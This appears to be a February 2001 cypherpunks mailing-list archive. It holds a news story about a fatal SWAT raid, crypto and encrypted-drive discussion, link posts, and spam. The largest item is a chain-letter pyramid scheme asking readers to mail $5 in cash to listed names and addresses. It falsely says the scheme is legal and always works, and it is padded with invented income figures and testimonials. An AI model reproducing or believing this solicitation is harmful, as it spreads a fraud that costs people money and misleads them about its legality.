From: bfk at mindspring.com (Blank Frank)
Date: Fri, 23 Feb 2001 11:38:21 -0800
Subject: 11 year old shot in back by SWAT is collateral damage
Message-ID: <3A96BC2D.44F0785B@mindspring.com>



SWAT Officer Cleared in Fatal Shooting of Boy, 11,
                                                 During Modesto Raid

                                                 From Associated Press


                                                      MODESTO, Calif.--A
SWAT team officer who shot
                                                 an 11-year-old boy in
the back during a methamphetamine
                                                 raid was cleared of
criminal charges Thursday by the state
                                                 attorney general.
                                                      The killing of
Alberto Sepulveda was an accident, and
                                                 there was no that
evidence Modesto Officer David Hawn
                                                 intended to kill the
boy, said Atty. Gen. Bill Lockyer.
                                                      The boy was lying
face down on his bedroom floor
                                                 when Hawn's shotgun
fired.
                                                      The Sept. 13 raid
was part of a countywide effort to
                                                 crack down on a
methamphetamine drug ring. The boy's
                                                 father, Moises
Sepulveda Sr., was arrested on charges of
                                                 conspiracy to
distribute the drug.
                                                      Lockyer said the
impact of the killing was devastating
                                                 and compelled him to
set up a committee to review
                                                 SWAT team practices in
the state.
                                                      "Unfortunately,
too many times the deployment of a
                                                 SWAT team has resulted
in the unintentional death or
                                                 injury to a peace
officer or member of the public,"
                                                 Lockyer said.
                                                      The group of
prosecutors, sheriffs, police officers,
                                                 judges and other state
and local officials is to recommend
                                                 SWAT team guidelines.
                                                      The findings of
the 15-page report by Lockyer and
                                                 Stanislaus County Dist.
Atty. Jim Brazelton mirror an
                                                 earlier investigation
by Modesto police.
                                                      Sepulveda's family
has filed a federal lawsuit against
                                                 the city, Hawn and
three other officers.




From pzakas at toucancapital.com  Fri Feb 23 11:06:15 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Fri, 23 Feb 2001 14:06:15 -0500
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <Pine.SOL.4.30.0102221711380.24722-100000@kruuna.Helsinki.FI>
Message-ID: <MAEJKAJCIGHONDJLKPFPGEFOCBAA.pzakas@toucancapital.com>


Actually, I don't know if they are still adding jitter.  The original thread
was started by someone else who proposed using jitter.  I believe the
commercial GPS systems are currently limited to 30ft resolutions (the
resolution can be improved futher by processing the output of several gps
receivers).
phillip

-----Original Message-----
From: ssyreeni at cc.helsinki.fi [mailto:ssyreeni at cc.helsinki.fi]On Behalf
Of Sampo Syreeni
Sent: Thursday, February 22, 2001 10:13 AM
To: Phillip H. Zakas
Cc: cypherpunks at Algebra.COM
Subject: RE: The Key Vanishes: Scientist Outlines Unbreakable Code


On Wed, 21 Feb 2001, Phillip H. Zakas wrote:

[Snip on GPS randomization]
>as far as how random these bits are, i don't know if the entropy is very
>good, and i don't know if the # of bits is enough to encrypt a message.

Are you sure they are still adding jitter to GPS?

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university





From decoy at iki.fi  Fri Feb 23 04:20:44 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Fri, 23 Feb 2001 14:20:44 +0200 (EET)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <Pine.LNX.4.21.0102221027540.17464-100000@bolt.sonic.net>
Message-ID: <Pine.SOL.4.30.0102231413310.26172-100000@kruuna.Helsinki.FI>


On Thu, 22 Feb 2001, Ray Dillinger wrote:

>If your application can read and write an encrypted drive without
>specifically providing the keys, then a trojan on your system can
>read and write an encrypted drive without specifically providing
>the keys.

I think it is not sensible to include trojans in the threat model, here.
After all, it does not matter how deliciously secure your application seems
to be if you assume there can be a keyboard sniffer there, somewhere.

>These workarounds can only work by "hiding" key management from
>the application, and thus from the user - which means key
>management gets done badly if at all.  Good crypto can't be
>tacked on - it has to be designed in.

Why is this? To me it seems that key management at the system level is far
more likely to be securely implemented than the personal blend of a given
app coder.

>Another problem with an encrypted drive is that an encrypted drive is
>infrastructure that someone is likely to not have in place when they
>first discover a real need to encrypt.

The same does go for encrypt capable applications as well, only there's
considerably more hassle in trying to setup many of those in a row than in
simply relying on an encrypted backing store.

>Applications that write to (and more importantly, which read from) the
>encrypted drive should themselves be crypto-aware and do proper key
>management.

Could you elaborate a bit on why system level key management isn't enough?
I'm afraid I might be missing something here...

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From decoy at iki.fi  Fri Feb 23 04:20:44 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Fri, 23 Feb 2001 14:20:44 +0200 (EET)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <Pine.LNX.4.21.0102221027540.17464-100000@bolt.sonic.net>
Message-ID: <Pine.SOL.4.30.0102231413310.26172-100000@kruuna.Helsinki.FI
  >


On Thu, 22 Feb 2001, Ray Dillinger wrote:

>If your application can read and write an encrypted drive without
>specifically providing the keys, then a trojan on your system can
>read and write an encrypted drive without specifically providing
>the keys.

I think it is not sensible to include trojans in the threat model, here.
After all, it does not matter how deliciously secure your application seems
to be if you assume there can be a keyboard sniffer there, somewhere.

>These workarounds can only work by "hiding" key management from
>the application, and thus from the user - which means key
>management gets done badly if at all.  Good crypto can't be
>tacked on - it has to be designed in.

Why is this? To me it seems that key management at the system level is far
more likely to be securely implemented than the personal blend of a given
app coder.

>Another problem with an encrypted drive is that an encrypted drive is
>infrastructure that someone is likely to not have in place when they
>first discover a real need to encrypt.

The same does go for encrypt capable applications as well, only there's
considerably more hassle in trying to setup many of those in a row than in
simply relying on an encrypted backing store.

>Applications that write to (and more importantly, which read from) the
>encrypted drive should themselves be crypto-aware and do proper key
>management.

Could you elaborate a bit on why system level key management isn't enough?
I'm afraid I might be missing something here...

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From hebrew2001 at msinter.net  Fri Feb 23 13:31:43 2001
From: hebrew2001 at msinter.net (hebrew2001)
Date: Fri, 23 Feb 2001 15:31:43 -0600
Subject: password
Message-ID: <000a01c09de0$0d9e7ee0$3eeef0c7@JamieDavis>

thank you for my password
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From jchoate at dev.tivoli.com  Fri Feb 23 13:41:27 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Fri, 23 Feb 2001 15:41:27 -0600
Subject: Why Wired is tired
Message-ID: <3A96D907.57035CCC@dev.tivoli.com>


http://www.sunworld.com/unixinsideronline/swol-02-2001/swol-0202-bookshelf.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From abmeyer at moteride.net  Fri Feb 23 13:47:54 2001
From: abmeyer at moteride.net (abmeyer at moteride.net)
Date: Fri, 23 Feb 2001 16:47:54 -0500
Subject: I LOVE YOU AND I DON'T WANT YOU TO DIE!!!!!!!!!!
Message-ID: <8ll0g.42pj3g6iuw1e73r62@dnsddbuewi.moteride.net>

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From pansy at moteride.net  Fri Feb 23 13:52:37 2001
From: pansy at moteride.net (pansy at moteride.net)
Date: Fri, 23 Feb 2001 16:52:37 -0500
Subject: I LOVE YOU AND I DON'T WANT YOU TO DIE!!!!.
Message-ID: <1a242f2y5y6bimj58x5l.swacyf5jse3t@dnsddbuewi.moteride.net>

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From sunder at sunder.net  Fri Feb 23 14:00:24 2001
From: sunder at sunder.net (Sunder)
Date: Fri, 23 Feb 2001 17:00:24 -0500
Subject: need info on how to make bombs and explosive
References: <b1.779d75c.27c7086d@aol.com>
Message-ID: <3A96DD78.22D8543A@sunder.net>


EZRAMATTHEW at aol.com wrote:
> 
> please send info about topics in subject

To make bombs, just buy a cheap camcorder put on a play and it'll bomb.
Please don't use expletives on our mailing lists, or we'll tell you to
go fuck yourself.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From ravage at EINSTEIN.ssz.com  Fri Feb 23 15:07:42 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 23 Feb 2001 17:07:42 -0600
Subject: Slashdot | IBM CPRM Plan Replaced with Similar Copy-Prevention Plan
Message-ID: <3A96ED3E.37096041@ssz.com>


http://slashdot.org/yro/01/02/23/2134255.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Fri Feb 23 15:13:21 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 Feb 2001 17:13:21 -0600
Subject: The Gaping Maw - rotten.com Editorial
Message-ID: <3A96EE91.D33AC07A@ssz.com>


Finger lickin' good... :)

http://www.gapingmaw.com/

-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From bourque_33 at yahoo.com  Fri Feb 23 18:50:01 2001
From: bourque_33 at yahoo.com (bourque_33 at yahoo.com)
Date: Fri, 23 Feb 2001 18:50:01
Subject: New Year Millionaire
Message-ID: <788.421847.431161@mailserv.dom.com>


  
EARN EXTRA MONEY THIS WINTER RIGHT FROM YOUR HOME! 

-----------------------------------------------------------------
---------------


I Never Thought I'd Be the One Telling You This:
I Actually Read a Piece of E-mail which has helped me become dept 
free   
-----------------------------------------------------------------
---------------

Hello Friend,

As a rule, I delete all unsolicited "junk" e-mail and use my 
account primarily for business and personal use. I received what 
I assumed was this same e-mail countless times and deleted it 
each time.

About two months ago I received it again and, because of the 
catchy subject line, I finally read it. Afterwards, I thought , 
"OK, I'll give in, I'm going to try this. I can certainly afford 
to invest $25 and, on the other hand, there's nothing wrong with 
creating a little excess cash." I promptly mailed our $5 bills 
and, after receiving the reports, paid a friend of mine a small 
fee to send out some e-mail advertisements for me. After reading 
the reports, I also learned how easy it is to bulk e-mail for 
free!

I was not prepared for the results. Everyday for the last six 
weeks, my P. O. box has been overflowing with $5 bills; many days 
the excess fills up an extra mail bin and I've had to upgrade to 
the corporate-size box! I am stunned by all the money that keeps 
rolling in!

My husband and I have been saving for several years to make a 
substantial downpayment on a house. Now,  we are purchasing a 
house with a 40% down payment!

I promise you, if you follow the directions in this e-mail and be 
prepared to eventually set aside about an hour each day to follow 
up (and count your money!), you will make at least as much money 
as we did. You don't need to be a wiz at the computer, but I'll 
bet you already are. If you can open an envelope, remove the 
money, and send an e-mail message, then you're on your way to the 
bank.  Take the time to read this so you'll understand how easy 
it is. If I can do this, so can you!



      This is a LEGAL, MONEY-MAKING PHENOMENON. PRINT this 
letter, read the directions, THEN READ IT AGAIN !!
     


You are about to embark on the most profitable and unique program 
you may ever see. Many times over, it has demonstrated and proven 
its ability to generate large amounts of cash.

This program is showing fantastic appeal with a huge and 
ever-growing on-line population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity. It does 
not require you to come in contact with people, do any hard work, 
and best of all, you never have to leave the house, except to get 
the mail and go to the bank!

This truly is that lucky break you've been waiting for! Simply 
follow the easy instructions in this letter, and your financial 
dreams will come true! When followed correctly, this electronic, 
multi-level marketing program works perfectly

 ...100% EVERY TIME!

Thousands of people have used this program to:
- Raise capital to start their own business
- Pay off debts
- Buy homes, cars, etc.,
- Even retire!

This is your chance, so don't pass it up!


-----------------------------------------------------------------
---------------


OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING 
PROGRAM


-----------------------------------------------------------------
---------------

Basically, this is what we do:

We send thousands of people a product for $5 US that costs next 
to nothing to produce and e-mail. As with all multi-level 
businesses, we build our business by recruiting new partners and 
selling our products. Every state in the U.S. allows you to 
recruit new multi-level business online (via your computer).

The products in this program are a series of five business and 
financial reports costing $5.00 each. Each order you receive via 
"snail mail" (regular mail) will include:
* $5.00US cash
* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the
report they ordered.

To fill each order, you simply e-mail the product to the buyer.

THAT'S IT!

The $5.00 is yours!

This is the EASIEST electronic multi-level marketing business 
anywhere!


-----------------------------------------------------------------
---------------

FOLLOW THE INSTRUCTIONS TO THE LETTER AND BE PREPARED TO REAP THE 
STAGGERING BENEFITS!

                           $$$$ IMPORTANT INFORMATION $$$$


****** READ CAREFULLY! *******


-----------------------------------------------------------------
---------------


S E T U P      I N S T R U C T I O N S
*******************************************************

This is what you MUST do:

1. Order all 5 reports from the different individuals shown on 
the list below (you can't sell them if you don't order them).

* For each report, send $5 US CASH, the NAME  NUMBER OF THE 
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR RETURN 
POSTAL ADDRESS (in case of a problem) to the person whose name 
appears on the list next to the report.

* When you place your order, make sure you order each of the five 
reports. You will need all five reports so that you can save them 
on your computer and resell them.

* Within a few days you will receive, via e-mail, each of the 
five reports. Save them on your computer so they will be 
accessible for you to send to the 1, 000's of people who will 
order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are 
listed next to each report, or their sequence on the list, in any 
way other than is instructed below in steps "a" through "f" or 
you will lose out on the majority of your profits. Once you 
understand the way this works, you'll also see how it doesn't 
work if you change it.  Remember this method has been tested, and 
if you alter it, it will not work.
a. Look below for the listing of available reports.
b. After you've ordered the five reports, replace the name and 
address under REPORT #1 with your name and address, moving the 
one that was there down to REPORT #2.
c. Move the name and address that was under REPORT #2 down to 
REPORT #3.
d. Move the name and address that was under REPORT #3 down to 
REPORT #4.

e. Move the name and address that was under REPORT #4 down to 
REPORT #5.
f. The name and address that was under REPORT #5 is removed from 
the list and has NO DOUBT collected their thousands.

Please make sure you copy everyone's name and address 
ACCURATELY!!! 

3. Take this entire letter, including the modified list of names, 
and save it to your computer. Make NO changes to the instruction 
portion of this letter.

4. Now you're ready to start an advertising campaign on the 
WORLDWIDE WEB! Advertising on the WEB is very, very inexpensive, 
and there are HUNDREDS of FREE places to advertise. Another 
avenue which you could use is to send thousands of emails for 
free, which you will learn how from the reports.

BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5. For every $5.00 you receive, all you must do is e-mail them 
the report they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY 
SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY 
send out, with YOUR name and address on it, will be prompt 
because they can't advertise until they receive the report!

------------------------------------------

AVAILABLE REPORTS

------------------------------------------

***Order Each REPORT by NUMBER and NAME***

Notes:
- SEND $5 US FUNDS ONLY !!!!
- SEND ONLY CASH ; CHEQUES NOT ACCEPTED

- ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL
- Make sure the cash is concealed by wrapping it in at least two 
sheets of paper - On one of those sheets of paper, include: (a) 
the number  name of the report you are ordering, (b) your e-mail 
address, and (c) your postal address. 
- MAKE SURE YOU COPY ALL THE ADDRESSES CARFULLY AND ACCURATELY 
!!!

REPORT #1 "The Insiders Guide to Advertising for Free on the 
Net  Order Report #1 from:

B. McDonald
Suite 409
1500 Bank St
Ottawa, ON
K1H 1B8
Canada


REPORT #2" The Insiders Guide to Sending Bulk e-mail on the Net
ORDER REPORT #2 FROM:

T. Richardson
P.O. Box 753
Richland, MO 65556
USA

REPORT #3 "Secret to Multilevel Marketing on the Net"
ORDER REPORT #3 FROM:

C.J. Kalata
P.O. Box 130157
Roseville, MN 55113
USA

REPORT #4 "How to Become a Millionaire Utilizing MLM & the Net
ORDER REPORT #4 FROM

R. B.
Box 21115
Grande Prairie, Alberta
T8V 6W7
Canada

REPORT #5 "How to Send Out One Million e-mails for Free
ORDER REPORT #5 FROM

B. Taylor
P.O. Box 26001
Fredericton, NB
E3A 5V8
Canada

----------------------------------------------------

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

-----------------------------------------------------------------

Let's say you decide to start small just to see how well it 
works.   Assume your goal is to get 10 people to participate on 
your first level. (Placing a lot of FREE ads on the internet and 
sending emails will EASILY get a larger response.) Also assume 
that everyone else in YOUR ORGANIZATION gets ONLY 10 downline 
members. Follow this example to achieve the STAGGERING results 
below.

1st level--your 10 members with $5..............$50
2nd level--10 members from those 10
.......................($5 x 100).............$500
3rd level--10 members from those 100
.......................($5 x 1,000)...........$5,000
4th level--10 members from those 1,000
.......................($5 x 10,000)..........$50,000
5th level10 members from those 10,000

.......................($5x 100,000)..........$500,000

THIS TOTALS
-----------
$555,550

Remember friends, this assumes that the people who participate 
only recruit 10 people each. Think for a moment what would happen 
if they got 20 people to participate!

Most people get 100's of participants!

THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely 
you can afford $25). You obviously already have an internet 
connection and e-mail is FREE!!! 

REPORT#5 shows you the most productive methods for bulk e-mailing 
and how easy it is.

About 50,000 new people get online every month!

*******TIPS FOR SUCCESS*******
* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and 
follow the directions accurately.
* Send for the five reports IMMEDIATELY so you will have them 
when the orders start coming in because:

When you receive a $5 order, you MUST send out the requested 
product/report to comply with the U.S. Postal  Lottery Laws, 
Title 18,Sections 1302 and 1341 or Title 18, Section 3005 in 
theU.S. Code, also Code of Federal Regs. vol. 16, Sections 255 
and 436, which state that "a product or service must be exchanged 
for money received."

* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the 
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

*******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two 
weeks, continue advertising and sending until you do. Then, a 
couple of weeks later you should receive at least 100 orders for 
REPORT #2.  If you don't, continue advertising and sending until 
you do. Once you have received 100 or more orders for REPORT #2, 
YOU CAN RELAX, because the system is already working for you, and 
the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:

Every time your name is moved down on the list, you are placed in 
front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS 
by watching which report people are ordering from you. If you 
want to generate more income, send another batch of e-mails and 
start the whole process again! There is no limit to the income 
you will generate from this business!

NOTE: If you need help with starting a business, registering a 
business name, how income tax is handled, etc., contact your 
local office of the Small Business Administration (a Federal 
agency) for free help and answers to questions.  Also, the 
Internal Revenue Service offers free help via telephone and free 
seminars about business taxes.

*******T E S T I M O N I A L S*******

This program does work, but you must follow it EXACTLY! 
Especially the rule of not trying to place your name in a 
different position, it won't work and you'll lose a lot of 
potential income. I'm living proof that it works. It really is a 
great opportunity to make relatively easy money, with little cost 
to you. If you do choose to participate, follow the program 
exactly, and you'll be on your way to financial security.
Sean McLaughlin, Jackson, MS

My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am 
a cost accountant with a major U.S. Corporation and I make pretty 
good money. When I received the program I grumbled to Doris about 
receiving "junk mail. "  I made fun of the whole thing, spouting 
my knowledge of the population and percentages involved. I "knew" 
it wouldn't work. Doris totally ignored my supposed intelligence 
and jumped in with both feet. I made merciless fun of her, and 
was ready to lay the old "I told you so" on her when the thing 
didn't work...well, the laugh was on me! Within two weeks she had 
received over 50 responses. Within 45 days she had received over 
$147,200 in $5 bills! 

I was shocked! I was sure that I had it all figured and that it 
wouldn't work. I AM a believer now. I have joined Doris in her 
"hobby."  I did have seven more years until retirement, but I 
think of the "rat race" and it's not for me. We owe it all to 
MLM. Frank T., Bel-Air, MD

I just want to pass along my best wishes and encouragement to 
you. Any doubts you have will vanish when your first orders come 
in. I even checked with the U.S. Post Office to verify that the 
plan was legal. It definitely is! IT WORKS!!! Paul Johnson, 
Raleigh, NC

The main reason for this letter is to convince you that this 
system is honest, lawful, extremely profitable, and is a way to 
get a large amount of money in a short time. I was approached 
several times before I checked this out. I joined just to see 
what one could expect in return for the minimal effort and money 
required. To my astonishment, I received $36,470.00 in the first 
14 weeks, with money still coming in.
Sincerely yours, Phillip A. Brown, Esq.


-----------------------------------------------------------------
---------------



FOR YOUR INFORMATION....
If you need help with starting a business, registering a business 
name, learning how income tax is handled, etc., contact your 
local office of the Small Business Administration (a Federal 
agency) 1-(800)827-5722 for free help and answers to questions. 
Also, the Internal Revenue Service offers free help via telephone 
and free seminars about business tax requirements.

Under Bill S1618 Title III passed by the 105th US Congress this 
letter cannot be considered spam as long as the sender includes 
contact information and a method of removal.  This is a one time 
e-mail transmission. No request for removal is necessary.

If you have any questions of the legality of this program, 
contact the
Office of Associate Director for Marketing Practices, Federal 
Trade
Commission, Bureau of Consumer Protection, Washington, D.C. 


Thank you and Good Luck !!

 





 

 

 
 
 
 
 
 
 
 
 
 
 
 




From wizard01 at satyam.net.in  Fri Feb 23 07:58:45 2001
From: wizard01 at satyam.net.in (wizard01)
Date: Fri, 23 Feb 2001 21:28:45 +0530
Subject: No subject
Message-ID: <000401c09e6a$941fae00$3657d6d2@tony>







From amy at uniquine.com  Fri Feb 23 21:43:53 2001
From: amy at uniquine.com (Amy West)
Date: Fri, 23 Feb 2001 21:43:53 -0800
Subject: Win Free! "Cutting Horse" Action Print!
Message-ID: <200102240543.f1O5h0L73779@originalwest.com>



Dear Friend,

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Clare Hobson, Absolutely Free!   Wow!
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Enter a friends name and increase your chances of winning�


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********************************************************************************************

You are receiving this e-mail because you have been placed on a
mailing list(Dressage) or were referred to us by a friend. If you did
not request to be put on this list, or you no longer wish to receive
any further e-mail from our marketing list, you can have your name
removed from our list by following the 'REMOVE' instructions at the
end of this e-mail.

We apologize if this happens to be the case.

Further transmissions to you by the sender of this email may be
stopped at no cost to you by sending a reply to this email address
with the word "remove" in the subject line.

Click on Reply. Type "remove" in the subject header.






From INQUIRE at CAREEREXPANSION.COM  Fri Feb 23 22:02:34 2001
From: INQUIRE at CAREEREXPANSION.COM (INQUIRE at CAREEREXPANSION.COM)
Date: Fri, 23 Feb 2001 22:02:34
Subject: Opportunity
Message-ID: <200102240504.VAA12101@cyberpass.net>

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From RUSM06 at terra.es  Fri Feb 23 13:53:16 2001
From: RUSM06 at terra.es (Announcements)
Date: Fri, 23 Feb 2001 22:53:16 +0100
Subject: FAO: Adult Webmasters
Message-ID: <200102232156.NAA23590@toad.com>



FAO: Adult Webmasters

StraightSexNow is now opening its doors to ALL ADULT SITES.
You can now list your site FREE OF CHARGE to our high traffic link list.

Click on the "Add Your Site" section for further details at:

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Or if your site is Gay related then add it for free at:

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Also, check out our Webmaster area for sound advice regarding affiliate programs.

We look forward to listing your site.








From newsbjorn2000 at yahoo.com  Fri Feb 23 23:50:53 2001
From: newsbjorn2000 at yahoo.com (Informtion and Opoturnety Newsletter)
Date: Fri, 23 Feb 2001 23:50:53
Subject: The monthly Internet Information2U Newsletter - February Edition
Message-ID: <200102232300.RAA05754@einstein.ssz.com>


The monthly Internet Information2U Newsletter - February Edition
_________________________________________________________________________
_________________________________________________________________________

M A R K E T I N G   I N F O R M A T I O N      

This is a newsletter that will go out to the 200.000 receptions only one 
time each month. 
You received this issue of the The monthly Internet Information2U Newsletter  
because you one or several times has expressed your interest for the 
Internet opportunities or information seek. If this is wrong for you, 
we are sorry for the inconvenient and will ask you to go to the 
unsubscribe site to awoid another newsletter next month.

SUBSCRIBE - http://www.geocities.com/bjorn279/subscribe.html
UNSUBSCRIBE - http://www.geocities.com/bjorn279/unsubscribe.html
__________________________________________________________________________
_
__________________________________________________________________________
_

A WORD FROM THE EDITOR
Because of restructurating we are using a temporary web site this month.
The next month we will be on to our new site and domane.

In this Edition there are two articles that may help you if you are still
seeking to find the rigt business for you.
The first article may help you if You have a web site, but still haven't 
figured out how to make money from your site.
The seccond article decribes some terms withinn MLM that may be good to 
know if you are considering such business.

Also browse the Weekly Marketplace section below (you may find a service
or product that you need!) 
And take time out to write an articles for us to feature in our newsletter.
__________________________________________________________________________
__________________________________________________________________________

THIS MONTLY CONTENTS

1) ARTICLE - HOW TO QUICKLY AND EASILY CREATE YOUR OWN INFORMATION 
PRODUCTS 
   FOR FUN AND PROFIT
2) The readers content, the prize is an add in the next newsletter.
3) Monthly Marketplace: Exceptional Products and Services
4) Article: TERMS WITHIN MULTI LEVEL MARKETING (MLM)
5) The Newsletter's ad rates and company information

If you have an informative article that you would like us to
feature, please email your article to editor at whatuseek.com .
If we use your article, a link to your web site will be
featured as well.
__________________________________________________________________________
_
__________________________________________________________________________
_
********************  A word from our sponsor *****************************

This place is free for You to buy in the next issue
wisit  http://www.geocities.com/bjorn279/

__________________________________________________________________________
_
__________________________________________________________________________
_
 
1) ARTICLE - HOW TO QUICKLY AND EASILY CREATE YOUR OWN INFORMATION 
PRODUCTS FOR 
FUN ANDPROFIT
By Terry Dean 

To take maximum profits away from the table in your own internet business, 
you must be the prime source of a hot product or service. What I am going to 
present to you today is one easy step-by-step system to create your own product 
that is 100% easier than writing a book or creating a report. 

Information Products are the ideal business to start if you are looking 
for an online business...They are easy to produce, simple to ship, and 
can enjoy high markups because people are not paying for the physical 
form the product is delivered in. They are paying for the valuable information 
contained within. 

Although most people only see reports and books when we speak of information 
products, I want you to see just how versatile this market can be. You could 
produce software, videos, audios, newsletters, secret sites, and more. 
The only limitations in this business are the ones you create yourself. 

You may say to me, "But Terry, I just don't know how to do anything that 
people want!" Well, I have a solution for that problem. If you have found 
a market that wants a product of a certain nature, contact an expert and 
do an interview with them...then sell that tape! (Most experts will do the 
tape with you right over the phone for just the cost of consulting 
Usually $100 - $1000). 

If you do have knowledge that people want (Which I highly expect is true 
even if you won't admit it to me)...then you can do your own audio tape course. 

Below I am going to give you a quick 6 step system for creating your own 
tapes...and then we will do a short overview on how to contact an expert 
and get them to do a tape with you. 

Step 1 - Make a list of your hobbies, interests, and problems which you can solve. 

Do people come to you often and ask for your advice on certain things? 
If so...there is a product idea! Design a product that solves their problems. 
Find a Problem or a Desire people have that you have overcome, and then the 
system you followed is the basis for your product. 

Do you train dogs? There's a product. 
Do You Build Model Airplanes? There's a product. 
Do You Save Money through Auctions? There's a product. 
Did you figure out how to set up a web site? There's a product. 
Do you Get Top 10 Rankings on Search Engines? There's a product. 
Do you write killer sales letters? There's a product. 

Product ideas are all around you...There are probably at least half a 
dozen products inside you waiting for the chance to come out! 

Step 2 - Research Your Targeted Market to Find Out What they are Interested in. 

If you plan to sell your product online, make sure there is a market for 
it first before you ever create the product. Visit forums and newsgroups 
using http://www.forumone.com and http://www.dejanews.com and do some research. 
Prepare a short Questionnaire and give something away free to people who 
answer it for you. 

Corporations spend millions of dollars a year in research...but as a 
small home business you can do your research for free online through 
contacting and networking through newsgroups, forums, and mailing lists. 

Step 3 - Purchase the necessary equipment. 

You don't have to go to a studio to record your tape unless you have an 
unlimited budget. If you can afford a studio, it will produce a little 
better tape, but for most people starting out that is just another undue expense. 

Go down to your local Radio Shack and purchase high quality audio 
tapes and a dynamic microphone. A good one will probably cost you 
between $40 and $100...Ask one of the sales representatives to recommend a good 
one. If you need an adapter for your tape recorder, get one of those as well. 

If you don't own a double cassette deck, you will probably want to get one 
of those...Why? You can also dub your first couple of tape sales right there 
in your home and wait to send it out to a duplicator until you know for sure 
it is a real hot seller. 

Notice that you don't need expensive equipment to get started in this 
business...although you may upgrade later as you go on. 

Step 4 - Make An Outline. 

When you did your research in step 2, what were your potential customers 
interested in most? Now, create a product that gives a step-by-step training 
on how to overcome that problem or achieve that objective. 

Rack your brain and come up with steps that will take your customers to 
their desired solution. You have to make it simple. This is probably the 
most difficult part of your product...You have to boil down all of your 
research, your experience, and come up with a simple system people can 
follow to achieve their objective. 

Step 5 - Record your tapes. 

Now, shut off the phones...and set-up your little recording studio. 
Make a time on your schedule to do your tape or your series and stick to 
it...because you will probably want to procrastinate the process into oblivion. 

Sit down and record under 60 minutes for the tape (Note most tapes 
actually have 62 - 64 minutes on them). You have to be careful to stop 
way before the end of the tape so that there is room to record an intro 
or a "Please turn the tape over" message. 

Step 6 - Start marketing today. 

How much is your tape worth? You can sell an individual audio tape 
for $9.95 - $29.95 depending on the subject OR you can produce a 
series of tapes...I have seen these sell for as much as $495 if they 
were on the right topic. You really have to test your price. 

Any secretarial service can transcribe your tapes for you if you 
want to produce a higher priced product out of them. You do a little 
bit of editing to them, combine your new manual to the tapes, and you 
have a higher valued product to sell. 

This is not the only way to create information products by any means, 
but it is enough to get you started. Are you going to make some 
mistakes...YES....but you will have started in the right direction. 
If you follow this process, you will have your own hot product to 
sell online for years to come. All you have left to do is write the 
ad...but that is a subject for another day. 

Terry Dean, a 5 year veteran of Internet marketing, will Take You 
By The Hand and Show You Exact Results of All the Internet Marketing 
Techniques he tests and Uses Every Single Month" Click here to Find Out More:
http://www.netbreakthroughs.com 
__________________________________________________________________________
_
__________________________________________________________________________
_

********************  A word from our sponsor *****************************

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__________________________________________________________________________
_
__________________________________________________________________________
_

2) The readers content - We will trip out two who will get an free Inside 
   add valued 75$ in the next Newsletter

	1)Find one add that have been placed in the newsletter twice. 
	   
	2)Forward this newsletter with it's content to 20 people, with a 
	  copy to bjorn279 at yahoo.com, in the subject line you must  type:
	  "Take a look at this"
__________________________________________________________________________
_
__________________________________________________________________________
_

3) Monthly Marketplace: Exceptional Products and Services

**FREE SEARCH ENGINE PLACEMENT REPORT**
Feeling like the invisible man? Let us show you how to get quality 
traffic to your Site.  We offer a Package for every budget! Click on 
the link below for a FREE  Search Engine Placement Report. 
